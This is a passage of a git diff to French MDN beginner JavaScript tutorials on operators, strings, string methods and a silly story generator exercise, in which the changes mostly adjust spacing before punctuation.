elle‑même. Ce qui suit renvoie une erreur : ```js 3++; ``` -Vous ne pouvez donc incrémenter qu'une variable déjà existante. Essayez ceci : +Vous ne pouvez donc incrémenter qu'une variable déjà existante. Essayez ceci : ```js var num1 = 4; num1++; ``` -Ok, curieuse la ligne 2 ! En écrivant cela, elle renvoie la valeur 4 — c'est dû au fait que l'explorateur renvoie la valeur courante, _puis_ incrémente la variable. Vous constaterez qu'elle a bien été incrémentée si vous demandez de la revoir : +Ok, curieuse la ligne 2 ! En écrivant cela, elle renvoie la valeur 4 — c'est dû au fait que l'explorateur renvoie la valeur courante, _puis_ incrémente la variable. Vous constaterez qu'elle a bien été incrémentée si vous demandez de la revoir : ```js num1; ``` -C'est pareil avec `--` : essayez ce qui suit +C'est pareil avec `--` : essayez ce qui suit ```js var num2 = 6; @@ -273,7 +273,7 @@ num2; ## Opérateurs d'assignation -Les opérateurs d'assignation sont ceux qui fixent la valeur d'une variable. Nous avons déjà utilisé plusieurs fois le plus élémentaire, `=` — il donne à la variable de gauche la valeur indiquée à droite : +Les opérateurs d'assignation sont ceux qui fixent la valeur d'une variable. Nous avons déjà utilisé plusieurs fois le plus élémentaire, `=` — il donne à la variable de gauche la valeur indiquée à droite : ```js var x = 3; // x contient la valeur 3 @@ -292,7 +292,7 @@ Mais il existe des types plus complexes, qui procurent des raccourcis utiles pou Saisissez quelques uns de ces exemples dans la console pour avoir une idée de leur fonctionnement. Dans chaque cas, voyez si vous avez deviné la valeur avant de saisir la deuxième ligne. -Notez que vous pouvez opportunément utiliser une autre variable comme opérateur sur la droite de chaque expression, par exemple : +Notez que vous pouvez opportunément utiliser une autre variable comme opérateur sur la droite de chaque expression, par exemple : ```js var x = 3; // x contient la valeur 3 @@ -302,7 +302,7 @@ x *= y; // x contient maintenant la valeur 12 > **Note :** Il y a des tas d'[autres opérateurs d'assignation disponibles](/fr/docs/Web/JavaScript/Guide/Expressions_and_Operators#assignment_operators), mais ceux‑ci sont les plus courants que vous devez les connaître dès maintenant. -## Apprentissage actif : dimensionner une boîte à canevas +## Apprentissage actif : dimensionner une boîte à canevas Dans cet exercice, vous allez manier quelques nombres et opérateurs pour changer la taille d'une boîte. La boîte est tracée à l'aide de l'API de navigateur nommée {{domxref("Canvas API", "", "", "true")}}. Pas besoin de savoir comment elle fonctionne — concentrez-vous simplement sur les mathématiques pour l'instant. Les largeur et hauteur de la boîte (en pixels) sont définies par les variables `x` et `y`, qui sont toutes deux initialisées avec la valeur 50. @@ -336,14 +336,14 @@ Parfois nous avons besoin d'exécuter des tests vrai/faux (true/false), puis d'a > **Note :** Vous verrez peut‑être certaines personnes utiliser `==` et `!=` pour leurs test d'égalité ou non-égalité. Ces opérateurs sont valides en JavaScript, mais différents de `===`/`!==`. Les versions avec deux caractères testent si les valeurs sont les mêmes, mais pas si les types de données sont les mêmes. Les versions strictes à trois caractères testent à la fois l'égalité des valeurs _et_ des types de données. Il y a moins d'erreurs avec les versions strictes, donc nous vous engageons à les utiliser dans tous les cas. -Si vous entrez certaines de ces valeurs dans une console, vous constaterez que toutes renvoient une valeur `true`/`false` — les booléens mentionnés dans l'article précédent. Ces opérateurs sont très utiles car il nous permettent de prendre des décisions dans le code, et ils sont utilisés chaque fois que nous avons besoin de faire un choix. Par exemple, les booléens s'utilisent pour : +Si vous entrez certaines de ces valeurs dans une console, vous constaterez que toutes renvoient une valeur `true`/`false` — les booléens mentionnés dans l'article précédent. Ces opérateurs sont très utiles car il nous permettent de prendre des décisions dans le code, et ils sont utilisés chaque fois que nous avons besoin de faire un choix. Par exemple, les booléens s'utilisent pour : - Afficher l'étiquette textuelle ad-hoc sur un bouton selon qu'une fonctionnalité est active ou pas - Afficher un message de fin de jeu si un jeu est terminé ou un message de victoire si le jeu a été remporté - Afficher des remerciements saisonniers corrects selon la saison de vacances - Faire un zoom avant ou arrière sur une carte selon le niveau de zoom choisi -Nous verrons comment coder cette logique quand nous étudierons les directives conditionnelles dans un article ultérieur. Pour le moment, regardons un exemple rapide : +Nous verrons comment coder cette logique quand nous étudierons les directives conditionnelles dans un article ultérieur. Pour le moment, regardons un exemple rapide : ```html <button>Démarrer la machine</button> @@ -359,7 +359,7 @@ btn.addEventListener('click', updateBtn); function updateBtn() { if (btn.textContent === 'Démarrer la machine') { btn.textContent = 'Arrêter la machine'; - txt.textContent = 'La machine est en marche !'; + txt.textContent = 'La machine est en marche !'; } else { btn.textContent = 'Démarrer la machine'; txt.textContent = 'La machine est arrêtée.'; @@ -371,7 +371,7 @@ function updateBtn() { **[Ouvrir dans une nouvelle fenêtre](https://mdn.github.io/learning-area/javascript/introduction-to-js-1/maths/conditional.html)** -Vous pouvez voir l'utilisation de l'opérateur d'égalité stricte dans la fonction `updateBtn()`. Dans ce cas, nous ne testons pas si deux expressions mathématiques ont la même valeur — nous testons si le contenu textuel d'un bouton contient une certaine chaîne — mais c'est toujours le même principe. Si le bouton affiche « Démarrer la machine » quand on le presse, nous changeons son étiquette en « Arrêter la machine » et mettons à jour l'étiquette comme il convient. Si le bouton indique « Arrêter la machine » au moment de le presser, nous basculons l'étiquette à nouveau. +Vous pouvez voir l'utilisation de l'opérateur d'égalité stricte dans la fonction `updateBtn()`. Dans ce cas, nous ne testons pas si deux expressions mathématiques ont la même valeur — nous testons si le contenu textuel d'un bouton contient une certaine chaîne — mais c'est toujours le même principe. Si le bouton affiche « Démarrer la machine » quand on le presse, nous changeons son étiquette en « Arrêter la machine » et mettons à jour l'étiquette comme il convient. Si le bouton indique « Arrêter la machine » au moment de le presser, nous basculons l'étiquette à nouveau. > **Note :** Un contrôle qui alterne entre deux états porte généralement le nom de **toggle** (bascule). Il bascule d'un état à l'autre — allumé, éteint, etc. diff --git a/files/fr/learn/javascript/first_steps/silly_story_generator/index.md b/files/fr/learn/javascript/first_steps/silly_story_generator/index.md index c24a27df3d..9ebf048231 100644 --- a/files/fr/learn/javascript/first_steps/silly_story_generator/index.md +++ b/files/fr/learn/javascript/first_steps/silly_story_generator/index.md @@ -22,7 +22,7 @@ Dans cette évaluation, vous aurez pour tâche d'utiliser les connaissances que <th scope="row">Objectif :</th> <td> <p> - Tester la compréhension des fondamentaux JavaScript tels que les + Tester la compréhension des fondamentaux JavaScript tels que les variables, les nombres, les opérateurs, les chaînes de caractères et les tableaux. </p> @@ -69,10 +69,10 @@ Variables initiales et fonctions : 1. Dans le fichier de texte brut, copiez tout le code présent sous le titre "1. COMPLETE VARIABLE AND FUNCTION DEFINITIONS" et collez-le en haut du fichier `main`. Cela vous donne trois variables qui stockent les références respectivement vers le champ "Enter custom name", vers le bouton "Generate random story" (`randomize`), et vers la balise {{htmlelement("p")}} en bas du corps HTML dans lequel l'histoire sera copiée (`story`). Par ailleurs, vous avez une fonction appelée `randomValueFromArray()` qui prend une table, et qui renvoie au hasard l'un des éléments qu'elle contient. 2. Maintenant regardons la deuxième section du fichier de texte brut : "2. RAW TEXT STRINGS". Cette section contient des chaînes de caractères qui vont se comporter comme des entrées (_input_) dans notre program. L'idée est que vous intégriez ces variables internes dans `main.js`: - 1. Stockez la première longue chaîne de caractères (string) dans la variable `storyText`. - 2. Stockez le premier groupe de trois strings dans le tableau `insertX`. - 3. Stockez le deuxième groupe de trois strings dans le tableau `insertY`. - 4. Stockez le troisième groupe de trois strings dans une tableau `insertZ`. + 1. Stockez la première longue chaîne de caractères (string) dans la variable `storyText`. + 2. Stockez le premier groupe de trois strings dans le tableau `insertX`. + 3. Stockez le deuxième groupe de trois strings dans le tableau `insertY`. + 4. Stockez le troisième groupe de trois strings dans une tableau `insertZ`. Mettre en place le gestionnaire d'événements (_event handler_) et le squelette de la fonction : @@ -80,18 +80,18 @@ Mettre en place le gestionnaire d'événements (_event handler_) et le squelette 2. Copiez le code qui se trouve sous le titre "3. EVENT LISTENER AND PARTIAL FUNCTION DEFINITION" et collez-le en bas de votre fichier `main.js` principal. Cela : - Ajoute un gestionnaire d'événements pour les clics à la variable `randomize` de telle sorte que quand on clique sur le bouton associé, la fonction `result()` se lance. - - Ajoute une définition partiellement complète de la fonction `result()` à votre code. Pour le reste de l'évaluation, vous compléterez des lignes au sein de cette fonction pour la compléter et la faire fonctionner correctement. + - Ajoute une définition partiellement complète de la fonction `result()` à votre code. Pour le reste de l'évaluation, vous compléterez des lignes au sein de cette fonction pour la compléter et la faire fonctionner correctement. Compléter la fonction `result()` : 1. Créer une nouvelle variable nommée `newStory`, et fixer sa valeur pour qu'elle soit égale à `storyText`. C'est nécessaire pour que soit créée une nouvelle histoire au hasard à chaque fois qu'on appuiera sur le bouton "Generate" et que la fonction sera lancée. Si on apportait des modifications directement à `storyText`, on ne pourrait générer une nouvelle histoire qu'une seule fois. 2. Créer trois nouvelles variables nommées `xItem`, `yItem`, et `zItem`, et faites en sorte qu'elles soient égales au résultat de l'appel de `randomValueFromArray()` sur vos trois tables (le résultat dans chaque cas fera apparaître un élément au hasard en provenance de chacune des tables appelées). Par exemple, vous pouvez appeler la fonction et lui faire retourner une chaîne de caractères au hasard depuis `insertX` en écrivant `randomValueFromArray(insertX)`. 3. Ensuite nous allons remplacer les trois fichiers temporaires dans la chaîne `newStory` — `:insertx:`, `:inserty:`, et `:insertz:` — par les chaînes stockées dans `xItem`, `yItem`, and `zItem`. Ici, une méthode particulière de chaînes pourra vous aider : dans chaque cas, faites que l'appel à la méthode soit égal à `newStory`, de sorte qu'à chaque appel, `newStory` est égal à lui-même, mais avec les substitutions effectuées. Ainsi, à chaque fois qu'on appuiera sur le bouton, ces fichiers temporaires seront chacun remplacés par une chaîne de caractères absurdes au hasard. Pour information, la méthode en question remplace seulement la première séquence de sous-chaîne qu'elle trouve, donc vous devrez peut-être l'un des appels deux fois. -4. Dans le premier block `if`, ajoutez une autre méthode de remplacement de chaîne pour remplacer le nom 'Bob' que vous trouverez dans la chaîne `newStory` en tant que variable `name`. Dans ce block, on établit que "Si une valeur a été entrée dans le champ `customName` text input, on remplacera dans l'histoire le mot Bob par ce nom personnalisé". +4. Dans le premier block `if`, ajoutez une autre méthode de remplacement de chaîne pour remplacer le nom 'Bob' que vous trouverez dans la chaîne `newStory` en tant que variable `name`. Dans ce block, on établit que "Si une valeur a été entrée dans le champ `customName` text input, on remplacera dans l'histoire le mot Bob par ce nom personnalisé". 5. Dans le deuxième block `if`, on vérifie que le bouton radio `uk` a été coché. Si c'est le cas, nous voulons convertir les valeurs de poids et de température de l'histoire. Les pounds et les farenheit deviennent des stones et des centigrades. Procédez comme suit : 1. Cherchez la formule pour convertir les pounds en stones et les fareinheit en centigrades. - 2. Dans la ligne qui définit la variable `weight` (poids), remplacez 300 par un calcul qui convertit 300 pounds en stones. Le tout englobé dans un `Math.round()` à la fin duquel vous concatenez `'stone'`. + 2. Dans la ligne qui définit la variable `weight` (poids), remplacez 300 par un calcul qui convertit 300 pounds en stones. Le tout englobé dans un `Math.round()` à la fin duquel vous concatenez `'stone'`. 3. Dans la ligne qui définit la variable `temperature`, remplacez 94 par un calcul qui convertit 94 fahrenheit en centigrades. Le tout englobé dans un `Math.round()` à la fin duquel vous concatenez `'centigrade'`. 4. Juste sous la définition des deux variables, ajoutez deux lignes de remplacement de chaînes supplémentaires qui remplacent '94 farhenheit' par les contenus de la variable `temperature`, et '300 pounds' par les contenus de la variable `weight`. @@ -108,11 +108,11 @@ Compléter la fonction `result()` : ## Évaluation -Si vous suivez cette évaluation dans le cadre d'un cours organisé, vous devriez pouvoir soumettre votre travail à votre enseignant/encadrant pour être évalué. Si vous êtes autodidacte, vous pouvez facilement obtenir le guide de notation en vous adressant à la mailing list [dev-mdc](https://lists.mozilla.org/listinfo/dev-mdc) ou au canal IRC [#mdn](irc://irc.mozilla.org/mdn) sur [Mozilla IRC](https://wiki.mozilla.org/IRC). Essayez de faire l'exercice d'abord — vous ne gagnez rien à tricher ! +Si vous suivez cette évaluation dans le cadre d'un cours organisé, vous devriez pouvoir soumettre votre travail à votre enseignant/encadrant pour être évalué. Si vous êtes autodidacte, vous pouvez facilement obtenir le guide de notation en vous adressant à la mailing list [dev-mdc](https://lists.mozilla.org/listinfo/dev-mdc) ou au canal IRC [#mdn](irc://irc.mozilla.org/mdn) sur [Mozilla IRC](https://wiki.mozilla.org/IRC). Essayez de faire l'exercice d'abord — vous ne gagnez rien à tricher ! {{PreviousMenu("Learn/JavaScript/First_steps/Arrays", "Learn/JavaScript/First_steps")}} -## Dans ce module +## Dans ce module - [What is JavaScript?](/fr/docs/Learn/JavaScript/First_steps/What_is_JavaScript) - [A first splash into JavaScript](/fr/docs/Learn/JavaScript/First_steps/A_first_splash) diff --git a/files/fr/learn/javascript/first_steps/strings/index.md b/files/fr/learn/javascript/first_steps/strings/index.md index 7ee4808221..9f9245596b 100644 --- a/files/fr/learn/javascript/first_steps/strings/index.md +++ b/files/fr/learn/javascript/first_steps/strings/index.md @@ -5,7 +5,7 @@ translation_of: Learn/JavaScript/First_steps/Strings --- {{LearnSidebar}}{{PreviousMenuNext("Learn/JavaScript/First_steps/Math", "Learn/JavaScript/First_steps/Useful_string_methods", "Learn/JavaScript/First_steps")}} -Concentrons-nous maintenant sur les chaînes de caractères - c'est le nom donné à un segment de texte en programmation. Dans cet article, nous aborderons les aspects les plus communs des chaînes de caractères que vous devez vraiment connaître quand vous apprenez JavaScript, comme créer une chaîne de caractères, échapper des guillemets dans une chaîne ou encore concaténer des chaînes. +Concentrons-nous maintenant sur les chaînes de caractères - c'est le nom donné à un segment de texte en programmation. Dans cet article, nous aborderons les aspects les plus communs des chaînes de caractères que vous devez vraiment connaître quand vous apprenez JavaScript, comme créer une chaîne de caractères, échapper des guillemets dans une chaîne ou encore concaténer des chaînes. <table class="standard-table"> <tbody> @@ -34,7 +34,7 @@ Les mots ont beaucoup d'importance pour les humains — ils occupent une large p ## Chaînes de caractères — les bases -À première vue, les chaînes se traitent de la même manière que les nombres ; mais si vous approfondissez la chose, vous commencerez à percevoir des différences notables. Entrons sur la console quelques lignes simples pour nous familiariser avec la chose. À propos de la console, nous en avons placé une ci‑dessous (vous pouvez [l'ouvrir](https://mdn.github.io/learning-area/javascript/introduction-to-js-1/variables/index.html) dans un onglet ou une fenêtre séparée, ou bien utiliser celle de [l'explorateur](/fr/docs/Learn/Common_questions/What_are_browser_developer_tools); comme vous préférez). +À première vue, les chaînes se traitent de la même manière que les nombres ; mais si vous approfondissez la chose, vous commencerez à percevoir des différences notables. Entrons sur la console quelques lignes simples pour nous familiariser avec la chose. À propos de la console, nous en avons placé une ci‑dessous (vous pouvez [l'ouvrir](https://mdn.github.io/learning-area/javascript/introduction-to-js-1/variables/index.html) dans un onglet ou une fenêtre séparée, ou bien utiliser celle de [l'explorateur](/fr/docs/Learn/Common_questions/What_are_browser_developer_tools); comme vous préférez). ```html hidden <!DOCTYPE html> @@ -111,8 +111,8 @@ Les mots ont beaucoup d'importance pour les humains — ils occupent une large p document.body.appendChild(inputDiv); if(document.querySelectorAll('div').length > 1) { - inputForm.focus(); - } + inputForm.focus(); + } inputForm.addEventListener('change', executeCode); } @@ -148,16 +148,16 @@ Les mots ont beaucoup d'importance pour les humains — ils occupent une large p ### Créer une chaîne de texte -1. Pour débuter, entrez les lignes suivantes : +1. Pour débuter, entrez les lignes suivantes : ```js let string = 'La révolution ne sera pas télévisée.'; string; ``` - Comme nous l'avons fait avec les nombres, nous déclarons une variable, l'initialisons avec une valeur de chaîne, puis renvoyons la valeur. La seule différence ici est que lorsque nous écrivons une chaîne, nous la mettons entre guillemets. + Comme nous l'avons fait avec les nombres, nous déclarons une variable, l'initialisons avec une valeur de chaîne, puis renvoyons la valeur. La seule différence ici est que lorsque nous écrivons une chaîne, nous la mettons entre guillemets. -2. Si vous ne le faites pas, ou si vous oubliez un des guillemets, vous déclenchez une erreur. Essayez d'entrer une de ces lignes : +2. Si vous ne le faites pas, ou si vous oubliez un des guillemets, vous déclenchez une erreur. Essayez d'entrer une de ces lignes : ```js example-bad let badString = Voici un test; @@ -165,9 +165,9 @@ Les mots ont beaucoup d'importance pour les humains — ils occupent une large p let badString = Voici un test'; ``` - Ces lignes de code ne fonctionnent pas parce que toute chaîne de texte qui n'est pas écrite entre guillemets est considérée comme un nom de variable, un nom de propriété, un mot réservé ou quelque chose de semblable. Quand l'interpréteur ne parvient pas à trouver la déclaration de ladite variable, une erreur est déclenchée (par ex. « missing ; before statement »). Si l'interpréteur voit le début d'une chaîne mais ne trouve pas sa fin, comme dans la ligne 2, il se plaint en émettant une erreur (avec « *unterminated string literal* »). Si votre programme produit de telles erreurs, revoyez‑le et vérifiez qu'aucun guillemet ne manque. + Ces lignes de code ne fonctionnent pas parce que toute chaîne de texte qui n'est pas écrite entre guillemets est considérée comme un nom de variable, un nom de propriété, un mot réservé ou quelque chose de semblable. Quand l'interpréteur ne parvient pas à trouver la déclaration de ladite variable, une erreur est déclenchée (par ex. « missing ; before statement »). Si l'interpréteur voit le début d'une chaîne mais ne trouve pas sa fin, comme dans la ligne 2, il se plaint en émettant une erreur (avec « *unterminated string literal* »). Si votre programme produit de telles erreurs, revoyez‑le et vérifiez qu'aucun guillemet ne manque. -3. L'assertion suivante fonctionne si la variable `string` a été préalablement définie — essayez maintenant : +3. L'assertion suivante fonctionne si la variable `string` a été préalablement définie — essayez maintenant : ```js let badString = string; @@ -178,7 +178,7 @@ Les mots ont beaucoup d'importance pour les humains — ils occupent une large p ### Guillemets simples vs guillemets doubles -1. En JavaScript, vous pouvez envelopper vos chaînes entre des guillemets simples ou doubles. Les deux expressions suivantes sont correctes : +1. En JavaScript, vous pouvez envelopper vos chaînes entre des guillemets simples ou doubles. Les deux expressions suivantes sont correctes : ```js let sgl = 'Guillemet simple.'; @@ -187,13 +187,13 @@ Les mots ont beaucoup d'importance pour les humains — ils occupent une large p dbl; ``` -2. Il y a une toute petite différence entre les deux, et celle que vous retenez relève de la préférence personnelle. Prenez-en une, et tenez‑vous y toutefois : du code avec des mises entre guillemets diversifiées peut amener des confusions, en particulier si vous utilisez les deux sortes dans la même chaîne ! Ce qui suit renvoie une erreur : +2. Il y a une toute petite différence entre les deux, et celle que vous retenez relève de la préférence personnelle. Prenez-en une, et tenez‑vous y toutefois : du code avec des mises entre guillemets diversifiées peut amener des confusions, en particulier si vous utilisez les deux sortes dans la même chaîne ! Ce qui suit renvoie une erreur : ```js example-bad - let badQuotes = 'Quoi sur Terre ?"; + let badQuotes = 'Quoi sur Terre ?"; ``` -3. L'interpréteur pensera que la chaîne n'a pas été fermée, car le type de guillemet autre ne servant pas à délimiter les chaînes peut y être employé. Par exemple, ces deux assertions sont valables : +3. L'interpréteur pensera que la chaîne n'a pas été fermée, car le type de guillemet autre ne servant pas à délimiter les chaînes peut y être employé. Par exemple, ces deux assertions sont valables : ```js let sglDbl = 'Mangeriez‑vous un "souper de poisson"?'; @@ -202,7 +202,7 @@ Les mots ont beaucoup d'importance pour les humains — ils occupent une large p dblSgl; ``` -4. Bien entendu, vous ne pouvez pas inclure dans la chaîne le même type de guillemet que celui qui est utilisé pour la délimiter. Ce qui suit conduit à une erreur, car l'explorateur ne peut pas déterminer là où se termine la chaîne : +4. Bien entendu, vous ne pouvez pas inclure dans la chaîne le même type de guillemet que celui qui est utilisé pour la délimiter. Ce qui suit conduit à une erreur, car l'explorateur ne peut pas déterminer là où se termine la chaîne : ```js example-bad let bigmouth = 'Je n'ai pas eu droit à prendre place...'; @@ -212,47 +212,47 @@ Les mots ont beaucoup d'importance pour les humains — ils occupent une large p ### Échappement de caractères dans une chaîne -Pour corriger l'erreur dans notre ligne de code précédente, il nous suffit d'échapper au problème que pose le guillemet. « Échapper des caractères » signifie que nous les marquons de manière à ce qu'ils soient reconnus comme partie intégrante du texte, et non pas comme symbole de code. Dans JavaScript, nous le faisons en mettant une barre oblique inverse juste avant le caractère. Essayons : +Pour corriger l'erreur dans notre ligne de code précédente, il nous suffit d'échapper au problème que pose le guillemet. « Échapper des caractères » signifie que nous les marquons de manière à ce qu'ils soient reconnus comme partie intégrante du texte, et non pas comme symbole de code. Dans JavaScript, nous le faisons en mettant une barre oblique inverse juste avant le caractère. Essayons : ```js let bigmouth = 'Je n\'ai pas eu droit à prendre place...'; bigmouth; ``` -Cela fonctionne à la perfection. Vous pouvez échapper d'autres caractères de la même manière, par ex. `\"`, et il y a certains codes spéciaux à côté. Voyez [Notations d'échappement](/fr/docs/Web/JavaScript/Reference/Global_Objects/String#escape_notation) pour plus de détails. +Cela fonctionne à la perfection. Vous pouvez échapper d'autres caractères de la même manière, par ex. `\"`, et il y a certains codes spéciaux à côté. Voyez [Notations d'échappement](/fr/docs/Web/JavaScript/Reference/Global_Objects/String#escape_notation) pour plus de détails. ## Concaténation de chaînes -1. Concaténer est un terme de programmation du genre chic qui signifie « attacher ensemble ». Pour attacher des chaînes en JavaScript, on utilise l'opérateur plus (+) , le même que l'on utilise pour ajouter deux nombres, mais dans ce contexte il fait quelque chose de différent. Voyons un exemple dans la console. +1. Concaténer est un terme de programmation du genre chic qui signifie « attacher ensemble ». Pour attacher des chaînes en JavaScript, on utilise l'opérateur plus (+) , le même que l'on utilise pour ajouter deux nombres, mais dans ce contexte il fait quelque chose de différent. Voyons un exemple dans la console. ```js let one = 'Hello, '; - let two = 'comment allez‑vous ?'; + let two = 'comment allez‑vous ?'; let joined = one + two; joined; ``` - Il en résulte que la variable nommée `joined` contient la valeur "Hello, comment allez‑vous ?". + Il en résulte que la variable nommée `joined` contient la valeur "Hello, comment allez‑vous ?". -2. Dans le dernier exemple, nous avons juste attaché deux chaînes ensemble, mais vous pouvez en attacher autant que vous voulez, pour autant que vous mettiez un signe `+` entre chacune. Essayez ceci : +2. Dans le dernier exemple, nous avons juste attaché deux chaînes ensemble, mais vous pouvez en attacher autant que vous voulez, pour autant que vous mettiez un signe `+` entre chacune. Essayez ceci : ```js let multiple = one + one + one + one + two; multiple; ``` -3. Vous pouvez aussi mélanger des variables avec des vraies chaînes. Regardez : +3. Vous pouvez aussi mélanger des variables avec des vraies chaînes. Regardez : ```js let response = one + 'Je vais bien — et vous ' + two; response; ``` -> **Note :** Quand vous entrez une chaîne dans votre code, entre guillemets simples ou doubles, on l'appelle **chaîne littérale**. +> **Note :** Quand vous entrez une chaîne dans votre code, entre guillemets simples ou doubles, on l'appelle **chaîne littérale**. ### Concaténation dans un contexte -Examinons une concaténation dans une action — voici un exemple tiré en amont de ce cours : +Examinons une concaténation dans une action — voici un exemple tiré en amont de ce cours : ```html <button>Pressez‑moi</button> @@ -262,8 +262,8 @@ Examinons une concaténation dans une action — voici un exemple tiré en amont let button = document.querySelector('button'); button.onclick = function() { - let name = prompt('Quel est votre nom ?'); - alert('Hello ' + name + ', sympa de vous voir !'); + let name = prompt('Quel est votre nom ?'); + alert('Hello ' + name + ', sympa de vous voir !'); } ``` @@ -273,7 +273,7 @@ Ici nous utilisons en ligne 4 la fonction {{domxref("Window.prompt()", "Window.p ### Nombres vs chaînes -1. Que se passe-t-il quand nous essayons d'additionner (ou concaténer) une chaîne et un nombre ? Essayons dans la console : +1. Que se passe-t-il quand nous essayons d'additionner (ou concaténer) une chaîne et un nombre ? Essayons dans la console : ```js 'Front ' + 242; @@ -288,9 +288,9 @@ Ici nous utilisons en ligne 4 la fonction {{domxref("Window.prompt()", "Window.p typeof myDate; ``` -3. Si vous avez une variable numérique que vous souhaitez convertir en chaîne sans autre modification, ou une variable numérique que vous voulez convertir en chaîne sans autre modification, vous pouvez utiliser les constructions suivantes : +3. Si vous avez une variable numérique que vous souhaitez convertir en chaîne sans autre modification, ou une variable numérique que vous voulez convertir en chaîne sans autre modification, vous pouvez utiliser les constructions suivantes : - - L'objet {{jsxref("Number")}} convertit tout ce qui lui est passé en nombre, si c'est possible. Essayez : + - L'objet {{jsxref("Number")}} convertit tout ce qui lui est passé en nombre, si c'est possible. Essayez : ```js let myString = '123'; @@ -298,7 +298,7 @@ Ici nous utilisons en ligne 4 la fonction {{domxref("Window.prompt()", "Window.p typeof myNum; ``` - - D'autre part, tout nombre possède une méthode nommée [`toString()`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Number/toString) qui le convertit en chaîne équivalente. Essayez : + - D'autre part, tout nombre possède une méthode nommée [`toString()`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Number/toString) qui le convertit en chaîne équivalente. Essayez : ```js let myNum = 123; diff --git a/files/fr/learn/javascript/first_steps/useful_string_methods/index.md b/files/fr/learn/javascript/first_steps/useful_string_methods/index.md index 6ee07beb5c..63e4f6aafc 100644 --- a/files/fr/learn/javascript/first_steps/useful_string_methods/index.md +++ b/files/fr/learn/javascript/first_steps/useful_string_methods/index.md @@ -19,19 +19,19 @@ original_slug: Learn/JavaScript/First_steps/methode_chaine_utile --- {{LearnSidebar}}{{PreviousMenuNext("Learn/JavaScript/First_steps/Strings", "Learn/JavaScript/First_steps/Arrays", "Learn/JavaScript/First_steps")}} -À présent que nous avons vu les bases de la manipulation des chaînes de caractères, allons un cran plus loin et commençons à imaginer les opérations utiles que nous pourrions faire sur les chaînes de caractères avec les méthodes intégrées : trouver la longueur d'une chaîne, assembler ou couper des chaînes, substituer un caractère à un autre dans une chaîne, et plus encore. +À présent que nous avons vu les bases de la manipulation des chaînes de caractères, allons un cran plus loin et commençons à imaginer les opérations utiles que nous pourrions faire sur les chaînes de caractères avec les méthodes intégrées : trouver la longueur d'une chaîne, assembler ou couper des chaînes, substituer un caractère à un autre dans une chaîne, et plus encore. <table class="standard-table"> <tbody> <tr> - <th scope="row">Prérequis :</th> + <th scope="row">Prérequis :</th> <td> Vocabulaire courant de l'informatique, bases de HTML et CSS, compréhension de ce que fait JavaScript. </td> </tr> <tr> - <th scope="row">Objectif :</th> + <th scope="row">Objectif :</th> <td> Comprendre que les chaînes de caractères sont des objets, et apprendre à utiliser certaines méthodes basiques disponibles sur ces objets pour @@ -49,9 +49,9 @@ Nous l'avons déjà dit, et nous le redirons — _tout_ est objet en JavaScript. let string = 'Ceci est une chaîne'; ``` -votre variable devient une instance de l'objet `String`, et par conséquent possède un grand nombre de propriétés et de méthodes associées. Allez sur la page de l'objet {{jsxref("String")}} et regardez la liste sur le côté de la page ! +votre variable devient une instance de l'objet `String`, et par conséquent possède un grand nombre de propriétés et de méthodes associées. Allez sur la page de l'objet {{jsxref("String")}} et regardez la liste sur le côté de la page ! -**Avant que votre cervelle ne commence à bouillir, pas de panique !** Vous n'avez vraiment pas besoin de connaître la plupart des méthodes de cette liste au début de cet apprentissage. Mais il est probable que vous en utiliserez certaines assez souvent. Nous allons les voir maintenant. +**Avant que votre cervelle ne commence à bouillir, pas de panique !** Vous n'avez vraiment pas besoin de connaître la plupart des méthodes de cette liste au début de cet apprentissage. Mais il est probable que vous en utiliserez certaines assez souvent. Nous allons les voir maintenant. Entrez quelques exemples dans une console vierge. En voici une ci-dessous (vous pouvez aussi [ouvrir cette console](https://mdn.github.io/learning-area/javascript/introduction-to-js-1/variables/index.html) dans un onglet ou une fenêtre séparés, ou utiliser la [console de développement du navigateur](/fr/docs/Learn/Common_questions/What_are_browser_developer_tools) si vous préférez). @@ -163,50 +163,50 @@ Entrez quelques exemples dans une console vierge. En voici une ci-dessous (vous ### Trouver la longueur d'une chaîne -C'est facile — il suffit d'utiliser la propriété {{jsxref("String.prototype.length", "length")}}. Entrez ceci : +C'est facile — il suffit d'utiliser la propriété {{jsxref("String.prototype.length", "length")}}. Entrez ceci : ```js let browserType = 'mozilla'; browserType.length; ``` -Cette commande doit renvoyer le nombre 7, parce que « mozilla » comporte 7 caractères. C'est utile pour de nombreuses raisons ; par exemple, vous pourriez avoir besoin de trouver les longueurs d'une série de noms pour les afficher par taille ou faire savoir à un utilisateur qu'il a entré un nom trop long dans un champ de formulaire à partir du moment où il dépasse une certaine taille. +Cette commande doit renvoyer le nombre 7, parce que « mozilla » comporte 7 caractères. C'est utile pour de nombreuses raisons ; par exemple, vous pourriez avoir besoin de trouver les longueurs d'une série de noms pour les afficher par taille ou faire savoir à un utilisateur qu'il a entré un nom trop long dans un champ de formulaire à partir du moment où il dépasse une certaine taille. ### Retrouver un caractère donné dans une chaîne -Dans le même ordre d'idées, il est possible de faire renvoyer tout caractère d'une chaîne avec **la notation crochets** — c'est-à-dire en ajoutant des crochets (`[]`) à la fin du nom de la variable. Entre les crochets, mettez le rang du caractère à retrouver ; par exemple, pour retrouver le premier caractère, vous devez écrire ceci : +Dans le même ordre d'idées, il est possible de faire renvoyer tout caractère d'une chaîne avec **la notation crochets** — c'est-à-dire en ajoutant des crochets (`[]`) à la fin du nom de la variable. Entre les crochets, mettez le rang du caractère à retrouver ; par exemple, pour retrouver le premier caractère, vous devez écrire ceci : ```js browserType[0]; ``` -Les ordinateurs décomptent à partir de 0, pas de 1 ! Pour retrouver le dernier caractère de _n'importe quelle_ chaîne, on peut utiliser la commande qui suit ; elle combine cette technique avec la propriété `length` que nous avons vue plus haut : +Les ordinateurs décomptent à partir de 0, pas de 1 ! Pour retrouver le dernier caractère de _n'importe quelle_ chaîne, on peut utiliser la commande qui suit ; elle combine cette technique avec la propriété `length` que nous avons vue plus haut : ```js browserType[browserType.length-1]; ``` -La longueur de « mozilla » est de 7 caractères, mais comme le décompte se fait à partir de 0, la position du caractère est 6, d'où la nécessité d'écrire `length-1`. Vous pourrez utiliser cette propriété pour, par exemple, trouver la première lettre d'une série de chaînes et les trier alphabétiquement. +La longueur de « mozilla » est de 7 caractères, mais comme le décompte se fait à partir de 0, la position du caractère est 6, d'où la nécessité d'écrire `length-1`. Vous pourrez utiliser cette propriété pour, par exemple, trouver la première lettre d'une série de chaînes et les trier alphabétiquement. ### Trouver une sous-chaîne à l'intérieur d'une chaîne et l'extraire -1. Parfois, vous aurez besoin de trouver si une chaîne est présente à l'intérieur d'une 